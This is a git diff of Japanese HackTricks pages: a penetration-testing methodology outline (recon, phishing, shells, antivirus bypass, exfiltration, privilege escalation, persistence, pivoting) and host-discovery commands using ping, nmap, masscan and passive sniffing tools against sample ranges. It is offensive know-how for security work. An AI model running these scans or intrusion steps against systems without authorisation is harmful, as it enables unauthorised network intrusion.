- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
- **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_ **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -28,118 +29,119 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### 0- 物理攻撃 ### 0- 物理攻撃
攻撃したいマシンに**物理アクセス**がありますか?[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出**](../hardware-physical-access/escaping-from-gui-applications.md)について読むべきです。 攻撃したいマシンに**物理アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)読むべきです。
### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [企業の資産の発見](external-recon-methodology/) ### 1 - [ネットワーク内のホストを発見する](pentesting-network/#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/)
**テスト**が**内部テスト**か**外部テスト**かによって、**企業ネットワーク内のホスト**(内部テスト)や**インターネット上の企業の資産**を見つけることに興味があるかもしれません。 **テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホストを見つける**ことに興味があるか、**インターネット上の会社の資産を見つける**ことに興味があるかもしれません。
{% hint style="info" %} {% hint style="info" %}
外部テストを実行している場合、企業の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。 外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
{% endhint %} {% endhint %}
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** ### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
**このセクションは内部テストを実している場合にのみ適用されます。**\ **このセクションは内部テストを実している場合にのみ適用されます。**\
ホストを攻撃する前に、**ネットワークから一部の資格情報を盗む**か、**データをスニッフィング**して**ネットワーク内で何が見つかるかを受動的/能動的MitMに学ぶ**ことができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでみてください ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブMitM**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。 [**ペンテストネットワーク**](pentesting-network/#sniffing)を読むことができます
### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts) ### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts)
**ホストの脆弱性を探している場合、まずはどのポートでどのサービスが実行されているかを知る必要があります。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 **ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[ **ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
### **4-** [サービスバージョンの脆弱性を検索](search-exploits.md) ### **4-** [サービスバージョンの脆弱性を検索する](search-exploits.md)
実行されているサービスとそのバージョンを知ったら、**既知の脆弱性を検索する必要があります。**運が良ければ、シェルを提供する脆弱性が見つかるかもしれません... どのサービスが実行されているか、そしておそらくそのバージョンを知ったら、**既知の脆弱性を検索する**必要があります。運が良ければ、シェルを取得するためのエクスプロイトがあるかもしれません...
### **5-** サービスのペンテスト ### **5-** ペンテストサービス
実行中のサービスに特別な脆弱性がない場合、**実行中の各サービスで一般的なミス構成を探す必要があります。** 実行中のサービスに特別なエクスプロイトがない場合は、各サービスの**一般的な誤設定を探す**べきです。
**この本の中で、最も一般的なサービスのペンテストガイド**(およびあまり一般的でないもの)**を見つけることができます。左のインデックスで** _**PENTESTING**_ **セクション**(サービスはデフォルトポートで順序付けされています)を検索してください **この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスト**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)
**特に[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分(最も広範囲な部分)に言及したいと思います。**\ **特に** [**ペンテストウェブ**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
また、ここで[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)が見つかります。 また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)に関する小さなガイドもここにあります。
**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを見つけ、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**独自のブラインドペンテスト**を実行し、**サービスに接続し、それをファジングして応答を読む**ことから始めることができます **インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで何も見つからない場合は、**自分でブラインドペンテストを実施し、**サービスに接続し、ファジングして応答を読むことから始めることができます(あれば)
#### 5.1 自動ツール #### 5.1 自動ツール
**自動脆弱性評価を実行できるツールもいくつかあります。**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。** **自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
#### **5.2 サービスのブルートフォース** #### **5.2 ブルートフォースサービス**
一部のシナリオでは、**ブルートフォース**が**サービスを侵害**するのに役立つ場合があります。[**異なるサービスのブルートフォースのチートシート**](brute-force.md)**をこちらで見つけてください。** いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](brute-force.md)**。**
### 6- [フィッシング](phishing-methodology/) ### 6- [フィッシング](phishing-methodology/)
この時点で興味深い脆弱性が見つからない場合は、**ネットワーク内に入るためにいくつかのフィッシングを試す必要があるかもしれません。**フィッシング手法については、[こちら](phishing-methodology/)を読んでください。 この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません。**私のフィッシング手法を[こちら](phishing-methodology/)で読むことができます:
### **7-** [**シェルの取得**](shells/) ### **7-** [**シェルを取得する**](shells/)
何らかの方法で**被害者でコードを実行する方法**を見つけるはずです。その後、[逆シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます](shells/)。 何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます](shells/)。
特にWindowsでは、**アンチウイルスを回避するためのヘルプが必要**です:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。** 特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
### 8- 内部 ### 8- 内部
シェルで問題が発生した場合、ペンテスターにとって**最も有用なコマンドの小さなコンパイル**がここにあります: シェルに問題がある場合、ペンテスターにとって最も便利なコマンドの小さな**コンパイル**をここで見つけることができます:
- [**Linux**](../linux-hardening/useful-linux-commands.md) * [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**WindowsCMD**](../windows-hardening/basic-cmd-for-pentesters.md) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
- [**WindowsPS**](../windows-hardening/basic-powershell-for-pentesters/) * [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**エクスフィルトレーション**](exfiltration.md) ### **9 -** [**データ抽出**](exfiltration.md)
おそらく、**被害者からデータを抽出する**必要があるか、**何かを導入する**必要があるでしょう(特権昇格スクリプトなど)。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](exfiltration.md)**。**
おそらく、**被害者からデータを抽出**する必要があるか、特権昇格スクリプトなどを**導入する必要がある**でしょう。これらの目的で使用できる**一般的なツールについての投稿**が[こちらにあります](exfiltration.md)**。**
### **10- 特権昇格** ### **10- 特権昇格**
#### **10.1- ローカル特権昇格** #### **10.1- ローカル特権昇格**
ボックス内で**root/Administratorではない**場合、**特権昇格の方法を見つける必要があります。**\ ボックス内で**root/Administrator**でない場合、**特権を昇格させる方法を見つけるべきです。**\
ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格するためのガイドが見つかります。**\ ここ、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権を昇格させるためのガイドがあります。**\
また、以下のWindowsの動作に関するページもチェックしてください また、**Windowsがどのように機能するかに関するこのページも確認してください**
* [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLMの動作**](../windows-hardening/ntlm/) * [**NTLMの動作**](../windows-hardening/ntlm/)
* Windowsでの[**資格情報の盗み出し**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) * Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック * [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するいくつかのトリック
**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールをチェックするのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールを確認するのを忘れないでください** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- ドメイン特権昇格** #### **10.2- ドメイン特権昇格**
ここでは、[**Active Directoryで列挙、特権昇格、および持続化を説明する一般的なアクションの方法論**](../windows-hardening/active-directory-methodology/)を見つけることができます。これはセクションの一部に過ぎませんが、これは**ペンテスト/レッドチームの割り当てにおいて非常に繊細**なプロセスとなる可能性があります。 ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する手法**](../windows-hardening/active-directory-methodology/)があります。このプロセスは、ペンテスト/レッドチームの任務において**非常にデリケート**である可能性があります。
### 11 - POST ### 11 - POST
#### **11**.1 - ルーティング #### **11**.1 - ルーティング
ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの特権で他のマシンにアクセス**できるか確認してください。\ ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\
ここでは、[**Windowsでのパスワードのダンプ方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)が異なる方法で見つかります ここで、[**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください
#### 11.2 - 持続性 #### 11.2 - 持続性
**システムを再度攻撃する必要がないように、2つまたは3つの異なるタイプの持続性メカニズムを使用してください。**\ **システムを再度攻撃する必要がないように、2つまたは3つの異なる持続性メカニズムを使用してください。**\
ここでは、[**Active Directoryでの持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)が見つかります。 **ここに、Active Directoryに関するいくつかの** [**持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)**があります。**
TODO: WindowsとLinuxでの持続性ポストを完了す TODO: WindowsおよびLinuxの持続性投稿を完成させ
### 12 - ピボット ### 12 - ピボット
**収集した資格情報**を使用して、他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で**新しいホストを発見してスキャンする必要があるかもしれません(ペンテスト方法論を再開)**。\ **収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(被害者が接続されている新しいネットワーク内でペンテスト手法を再開)。\
この場合、トンネリングが必要になるかもしれません。[**トンネリングについての投稿**](tunneling-and-port-forwarding.md)がここにあります。\ この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](tunneling-and-port-forwarding.md)。\
また、[**Active Directoryのペンテスト方法論**](../windows-hardening/active-directory-methodology/)に関する投稿もチェックする必要があります。そこでは、横断移動、特権昇格、および資格情報のダンプに関するクールなトリックが見つかります。\ また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**](../windows-hardening/ntlm/)のページもチェックしてください [**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボットするのに非常に役立つかもしれません
### MORE ### さらに
#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/) #### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/)
#### **Exploiting** #### **エクスプロイト**
* [**基本的なLinux Exploiting**](broken-reference) * [**基本的なLinuxエクスプロイト**](broken-reference)
* [**基本的なWindows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) * [**基本的なWindowsエクスプロイト**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**基本的なExploitingツール**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) * [**基本的なエクスプロイトツール**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**基本的なPython**](python/) #### [**基本的なPython**](python/)
@ -147,24 +149,25 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) * [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) * [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある場合、**私たちは採用中です!**_流暢なポーランド語の読み書きが必要です_ **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksの広告を見たい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリに**PRを提出**することで、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,71 +1,74 @@
# ネットワークの侵入テスト # Pentesting Network
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
{% endhint %}
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! **バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## 外部からホストを発見する ## 外部からホストを発見する
これは、**インターネットから応答するIPを見つける方法**についての**簡単なセクション**になります。\ これは**インターネット**から**応答しているIP**を見つける方法についての**簡単なセクション**です。\
この状況では、いくつかの**IPのスコープ**(おそらく複数の**範囲**さえも)があり、**どのIPが応答しているか**を見つけるだけです。 この状況では、いくつかの**IPの範囲**(場合によっては複数の**範囲**)があり、**どのIPが応答しているか**を見つける必要があります。
### ICMP ### ICMP
これは、ホストが起動しているかどうかを発見する**最も簡単で速い方法**です。\ これはホストが稼働しているかどうかを発見するための**最も簡単**で**最速**の方法です。\
いくつかの**ICMP**パケットを送信し**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信して応答を期待することです。これは、単純な`ping`を使用するか、**範囲**に対して`fping`を使用することで行うことができます。\ いくつかの**ICMP**パケットを送信し**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信し、応答を期待することです。これを単純な`ping`を使用するか、**範囲**のために`fping`を使用して行うことができます。\
また、**nmap**を使用して他のタイプのICMPパケットを送信することもできますこれにより、一般的なICMPエコーリクエスト-レスポンスへのフィルタが回避されます)。 また、**nmap**を使用して他のタイプのICMPパケットを送信することもできますこれにより、一般的なICMPエコーリクエスト-応答のフィルターを回避できます)。
```bash ```bash
ping -c 1 199.66.11.4 # 1 echo request to a host ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
``` ```
### TCP ポート発見 ### TCPポート発見
すべての種類の ICMP パケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンなポートを見つけようとすること**です。各ホストには**65535個のポート**がありますので、もし「大規模」なスコープを持っている場合、各ホストの**すべてのポート**がオープンかどうかをテストすることはできません。それには時間がかかりすぎます。\ あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**だけです。各ホストには**65535ポート**がありますので、もし「大きな」スコープがある場合、**各ホストの各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも時間がかかります。\
そのため、必要なのは**高速ポートスキャナー**[masscan](https://github.com/robertdavidgraham/masscan))と**よく使用されるポートのリスト**です: そのため、必要なのは**高速ポートスキャナー**[masscan](https://github.com/robertdavidgraham/masscan))と、**最も使用されるポートのリスト**です:
```bash ```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min) #Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
``` ```
### HTTP ポートの発見 `nmap`を使ってこのステップを実行することもできますが、遅く、`nmap`はホストの識別に問題があります。
これは、**HTTP サービスの発見に焦点を当てたいときに便利な** TCP ポートの発見です。 ### HTTPポート発見
これは、**HTTP** **サービス**の発見に焦点を当てたいときに便利なTCPポート発見です
```bash ```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24 masscan -p80,443,8000-8100,8443 199.66.11.0/24
``` ```
### UDPポート発見 ### UDPポート発見
また、ホストに**より注意を払うべきかどうか**を判断するために、**UDPポートが開いているかどうか**をチェックすることもできます。通常、UDPサービスは**通常の空のUDPプローブパケットに対して** **データを返さない**ため、ポートがフィルタリングされているか開いているかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、実行中のサービスがわからないため、ポート番号に基づいて最もありそうなものを試す必要があります。 いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払う**べきかを判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データ**で**応答しない**ため、ポートがフィルタリングされているか開いているかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです:
```bash ```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet # The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable # The "--version-intensity 0" will make nmap only test the most probable
``` ```
前に提案されたnmapの行は、/24の範囲内のすべてのホストで**トップ1000のUDPポート**をテストしますが、これだけでも**20分以上**かかります。 より**高速な結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**がそれらの**期待されるポート**に送信されます(/24の範囲では1分で完了します_DNSStatusRequest、DNSVersionBindReq、NBTStat、NTPRequest、RPCCheck、SNMPv3GetRequest、chargen、citrix、daytime、db2、echo、gtpv1、ike、ms-sql、ms-sql-slam、netop、ntp、rpc、snmp-public、systat、tftp、time、xdmcp._ 提案されたnmapの行は、**/24**範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**>20分**かかります。**最速の結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**が**予想されるポート**に送信されます(/24範囲の場合、これにはわずか1分かかります_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTPポートの発見 ### SCTPポートディスカバリ
```bash ```bash
#Probably useless, but it's pretty fast, why not trying? #Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range> nmap -T4 -sY -n --open -Pn <IP/range>
``` ```
## Wifiのペンテスト ## Pentesting Wifi
ここでは、執筆時点でよく知られているWifi攻撃の素敵なガイドを見つけることができます: ここでは、執筆時点でのよく知られたWifi攻撃のガイドを見つけることができます
{% content-ref url="../pentesting-wifi/" %} {% content-ref url="../pentesting-wifi/" %}
[pentesting-wifi](../pentesting-wifi/) [pentesting-wifi](../pentesting-wifi/)
@ -73,11 +76,11 @@ nmap -T4 -sY -n --open -Pn <IP/range>
## 内部からホストを発見する ## 内部からホストを発見する
ネットワーク内部にいる場合、最初に行いたいことの1つは**他のホストを発見する**ことです。**どれだけノイズ**を出すことができるか/したいかによって、異なるアクションを実行できます: ネットワーク内にいる場合、最初に行いたいことの一つは**他のホストを発見する**ことです。**どれだけノイズ**を出すことができるか/したいかによって、異なるアクションが実行される可能性があります:
### パッシブ ### パッシブ
これらのツールを使用して、接続されたネットワーク内のホストを受動的に発見できます: 接続されたネットワーク内でホストをパッシブに発見するために、これらのツールを使用できます:
```bash ```bash
netdiscover -p netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log p0f -i eth0 -p -o /tmp/p0f.log
@ -88,8 +91,8 @@ set net.show.meta true #more info
``` ```
### Active ### Active
[_**外部からホストを発見する**_](./#discovering-hosts-from-the-outside)_TCP/HTTP/UDP/SCTP ポート探索_でコメントされている技術に注意してください。\ 外部からホストを発見するための技術については、[_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) でコメントされている技術もここで**適用できます**。\
しかし、他のホストと**同じネットワーク**にいるため、**ここでは**さらに多くのことができます: しかし、他のホストと**同じネットワーク**にいるため、**より多くのこと**ができます:
```bash ```bash
#ARP discovery #ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs) nmap -sn <Network> #ARP Requests (Discover IPs)
@ -111,18 +114,18 @@ alive6 <IFACE> # Send a pingv6 to multicast.
``` ```
### Active ICMP ### Active ICMP
_外部からホストを発見する_ でコメントされている技術([_**ICMP**_](./#icmp))は、ここでも**適用できます**。\ 外部からホストを発見する際にコメントされた技術([_**ICMP**_](./#icmp))は、ここでも**適用可能**です。\
ただし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます: しかし、他のホストと**同じネットワーク**にいるため、**より多くのこと**ができます:
- **サブネットブロードキャストアドレス**に**ping**を送信すると、各ホストにpingが到達し、彼らが**あなたに応答**する可能性があります: `ping -b 10.10.5.255` * **サブネットブロードキャストアドレス**に**ping**を送信すると、pingは**各ホスト**に到達し、彼らは**あなたに応答**する可能性があります: `ping -b 10.10.5.255`
- **ネットワークブロードキャストアドレス**にpingを送信すると、**他のサブネット内のホスト**を見つけることさえできます: `ping -b 255.255.255.255` * **ネットワークブロードキャストアドレス**にpingを送信すると、**他のサブネット**内のホストを見つけることもできます: `ping -b 255.255.255.255`
